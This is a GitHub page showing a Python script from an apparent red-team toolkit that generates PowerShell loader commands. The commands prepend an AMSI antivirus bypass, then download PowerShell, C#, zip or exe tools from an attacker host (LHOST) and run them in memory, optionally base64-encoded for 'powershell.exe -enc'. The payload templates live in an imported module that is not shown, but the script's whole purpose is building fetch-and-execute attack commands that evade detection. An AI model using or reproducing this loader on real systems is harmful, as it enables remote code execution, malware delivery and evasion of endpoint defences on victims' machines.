-
Notifications
You must be signed in to change notification settings - Fork 0
/
generate_tool_loader.py
executable file
·137 lines (103 loc) · 3.64 KB
/
generate_tool_loader.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/bin/env python3
import ak
import argparse
import base64
import os
import sys
import yaml
class ToolLoader:
def __init__(self, tool_name, amsi_bypass=True):
self.amsi_bypass = amsi_bypass
cs_tools = ak.conf['cs_tools']
ps_tools = ak.conf['ps_tools']
zip_tools = ak.conf['zip_tools']
exe_tools = ak.conf['exe_tools']
all_tools = list(cs_tools.keys())
all_tools += ps_tools.keys()
all_tools += zip_tools.keys()
all_tools += exe_tools.keys()
tool,tool_type = get_tool(tool_name, cs_tools, ps_tools, zip_tools, exe_tools)
if not os.path.exists(ak.WEBROOT + "/" + tool['location']):
print("WARNING: Tool not found at: " + ak.WEBROOT + "/" + tool['location'] + "\r\n", file=sys.stderr)
self.get_tool_cmd(tool, tool_type)
def get_tool_cmd(self, tool, tool_type):
s = ""
if self.amsi_bypass:
s += ak.PS_AMSI + ';'
if tool_type == 'ps':
s += ak.PS_IEX_WEBCLIENT.format(LHOST=ak.LHOST, tool=tool['location'])
if 'cmd' in tool.keys():
cmd = tool['cmd']
s += ';' + cmd
elif tool_type == 'cs':
tool_class = tool['class']
tool_entrypoint = tool.get('entrypoint', "Main")
cmd = tool.get('cmd', "")
cmd = cmd.replace("STAGER_URL", ak.STAGER_URL)
if len(cmd) > 0:
# Arguments must be passed as a list
tcmd = f'"{cmd}".Split()'
s += ak.PS_REFLECTIVE_WEBCLIENT.format(LHOST=ak.LHOST, tool=tool['location'], tool_class=tool_class, entrypoint=tool_entrypoint, cmd=tcmd )
else:
s += ak.PS_REFLECTIVE_WEBCLIENT.format(LHOST=ak.LHOST, tool=tool['location'], tool_class=tool_class, entrypoint=tool_entrypoint, cmd="")
elif tool_type == 'zip':
s += ak.PS_UNZIP_CMD.format(LHOST=ak.LHOST, tool=tool['location'])
elif tool_type == 'exe':
cmd = tool['cmd']
cmd = cmd.replace("LHOST", ak.LHOST)
s += ak.PS_EXE_DL.format(LHOST=ak.LHOST, tool=tool['location'], cmd=cmd)
else:
print(f"Invalid type {tool_type} for command {tool}")
sys.exit(1)
if 'method' in tool.keys():
s+= ';' + tool['method']
self.s = s
def ps_b64(self):
b64_encoded = base64.b64encode(self.s.encode('utf-16le'))
b64_str = b64_encoded.decode("utf-8")
return b64_str
def ps_cmd(self):
return self.s
def b64_encode(s):
b64_encoded = base64.b64encode(s.encode('utf-16le'))
b64_str = b64_encoded.decode("utf-8")
return b64_str
def get_tool(tool_name, cs_tools, ps_tools, zip_tools, exe_tools):
if tool_name in cs_tools.keys():
tool_type = 'cs'
tool = cs_tools[tool_name]
elif tool_name in zip_tools.keys():
tool_type = 'zip'
tool = zip_tools[tool_name]
elif tool_name in ps_tools.keys():
tool_type = 'ps'
tool = ps_tools[tool_name]
elif tool_name in exe_tools.keys():
tool_type = 'exe'
tool = exe_tools[tool_name]
return tool,tool_type
def main():
cs_tools = ak.conf['cs_tools']
ps_tools = ak.conf['ps_tools']
zip_tools = ak.conf['zip_tools']
exe_tools = ak.conf['exe_tools']
all_tools = list(cs_tools.keys())
all_tools += ps_tools.keys()
all_tools += zip_tools.keys()
all_tools += exe_tools.keys()
parser = argparse.ArgumentParser()
parser.add_argument('--no-amsi', dest='amsi', action='store_false')
parser.add_argument('--base64', '-b', action='store_true')
parser.add_argument('tool', choices=all_tools)
args = parser.parse_args()
tl = ToolLoader(args.tool, amsi_bypass=args.amsi)
s = tl.ps_cmd()
if args.base64:
print("Command encoded: {}".format(s), file=sys.stderr)
s = b64_encode(s)
s = tl.ps_b64()
print("powershell.exe -enc "+s)
else:
print(s + "\n")
if __name__ == "__main__":
main()